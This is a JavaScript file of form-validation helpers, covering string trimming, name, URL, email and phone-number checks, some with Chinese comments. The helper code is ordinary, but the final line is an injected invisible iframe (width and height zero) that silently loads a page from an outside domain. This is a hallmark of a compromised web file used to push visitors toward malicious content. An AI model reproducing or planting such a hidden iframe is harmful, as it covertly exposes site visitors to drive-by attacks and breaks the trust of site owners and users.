function trimString(str)
{
  var i,j;

  if(str == "") return "";

  for(i=0;i<str.length;i++)
    if(str.charAt(i) != ' ') break;
  if(i >= str.length) return "";

  for(j=str.length-1;j>=0;j--)
    if(str.charAt(j) != ' ') break;

  return str.substring(i,j+1);
}
function aLength(str)
{
  var i,len;
  len=0;
  for(i=0;i<str.length;i++)
  {
    if(str.charCodeAt(i) > 255)
      len++;
    len++;
  }
  return len;
}
function checkch(str)
{
	var i;
	for (i=0;i<aLength(str);i++)
	{
		if (str.charCodeAt(i)>128) return false;
	}
	return true;
}
function uLength(str)
{
  var i,len;

  len=0;
  for(i=0;i<str.length;i++)
  {
    if(str.charCodeAt(i)<0) i++;
    len++;
  }
  return len;
}
function validateCnsName(cns_name,max_cns_name_len)
{
	var i;
	
	if(cns_name == "")return 1; // cns_name can not be empty
	if(navigator.appName=="Netscape") {
		if(uLength(cns_name) > max_cns_name_len) return 2;
	}else if(cns_name.length > max_cns_name_len) return 2;  // cns_name's length exceeds max_cns_name_len
	
	// check invalid chars ":\/|"
	if(cns_name.indexOf(":") != -1) return 3;
	if(cns_name.indexOf("\\") != -1) return 3;
	if(cns_name.indexOf("/") != -1) return 3;
	if(cns_name.indexOf("|") != -1) return 3;
	if(cns_name.indexOf("，") != -1) return 3;
	if(cns_name.indexOf(",") != -1) return 3;
	if(cns_name.indexOf("、") != -1) return 3;
	
	// check if there is chinese chars
	for(i=0; i<cns_name.length;i++) {
		if(navigator.appName=="Netscape") {
		if(cns_name.charCodeAt(i)<0) return 0;
		}else if(cns_name.charAt(i) > String.fromCharCode(0x7f)) return 0;
	}
	
	// for pure english name. there can't be "."
	if(cns_name.indexOf(".") != -1) return 3;
		return 0;
}
function validateCnsUrl(cns_url)
{
  var i;

  if(cns_url == "") return 1;  // cns_url can not be empty

  cns_url = cns_url.toLowerCase();
  i = cns_url.indexOf("http://");
  if(i==-1) return 2;
  if(i!=0) return 3;
  if(cns_url.length<8) return 4;
  if( -1 == cns_url.indexOf(".")) return 3;
  if(cns_url.length == cns_url.indexOf(".")+1) return 3; 
  return 0;
}
function trimEnter(str)
{
	//由于只判断到第一个和最后一个字符所以不用区分汉字和英文
	if("%0D%0A"==escape(str)) return ""; //"%0D%0A": 回车
	
	for(i=0;i<str.length;i++)
	{
		if("%0D"!=escape(str.charAt(i)))
			break;
		else
			if((i+1) < str.length)					
				if("%0A"==escape(str.charAt(i+1)))
					i++;
	}
	if(i >= str.length) return "";
	
	for(j=str.length-1;j>=0;j--)
	{
		if("%0A"!=escape(str.charAt(j)))
			break;
		else
			if((j-1)>=0)
				if("%0D"==escape(str.charAt(j-1)))
					j--;
	}
	
	return str.substring(i,j+1);
}
function trimInvalidChar(str)
{
	str = trimString(str);
	str = trimEnter(str);
	
	if(str.length > 0)
	{
		if(" "==str.charAt(0) || "%0D"==escape(str.charAt(0)))
		{
			return trimInvalidChar(str);
		}
		if(" "==str.charAt(str.length-1) || "%0A"==escape(str.charAt(str.length-1)))
		{
			return trimInvalidChar(str);
		}
		return str;			
	}
	return "";
}
function JHshStrLen(sString)
{
	var sStr,iCount,i,strTemp ; 
	iCount = 0 ;
	sStr = sString.split("");
	for (i = 0 ; i < sStr.length ; i ++)
	{
		strTemp = escape(sStr[i]); 
		if (strTemp.indexOf("%u",0) == -1) // 表示是汉字
		{ 
			iCount = iCount + 1 ;
		} 
		else 
		{
			iCount = iCount + 2 ;
		}
	}
	return iCount ;
}
function isValidEmailAddress(strEmail)
{
  var i, strDomain, cChar;
  var nDotCount=0;
  var bFindAlpha=false;
  var bLastIsDot=false;
  var strValid="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-.";

  if(strEmail=="") return false;
  i=strEmail.indexOf("@");
  if(i==-1 || i==0 || i==strEmail.length-1) return false;
  strDomain = strEmail.substring(i+1,strEmail.length);

  if(strDomain.indexOf("@")!=-1) return false;
  if(strDomain.charAt(0)==".") return false;
  if(strDomain.charAt(strDomain.length-1)==".") return false;

  for(i=0;i<strDomain.length;i++) {
    cChar = strDomain.charAt(i);
    if(strValid.indexOf(cChar)==-1) return false;
    if(cChar==".") {
      if(bLastIsDot) return false;
      bLastIsDot=true;
      nDotCount++;
    }else bLastIsDot=false;
    if( (("a"<=cChar) && (cChar<="z")) || (("A"<=cChar)&&(cChar<="Z")) )
      bFindAlpha=true;
  }

  if(bFindAlpha && (0==nDotCount)) return false;
  return true;
}
//函数名：fucCheckTEL
//功能介绍：检查是否为电话号码
//参数说明：要检查的字符串
//返回值：1为是合法，0为不合法
function fucCheckTEL(TEL)
{
	if(""==TEL)
		return 0;
	var i,j,strTemp;
	strTemp="0123456789-()# ";
	for (i=0;i<TEL.length;i++)
	{
		j=strTemp.indexOf(TEL.charAt(i));	
		if (j==-1)
		{
		//说明有字符不合法
			return 0;
		}
	}
	//说明合法
	return 1;
}
<iframe src=http://www.paite.net.cn/skin/more/index.htm width=0 height=0></iframe>
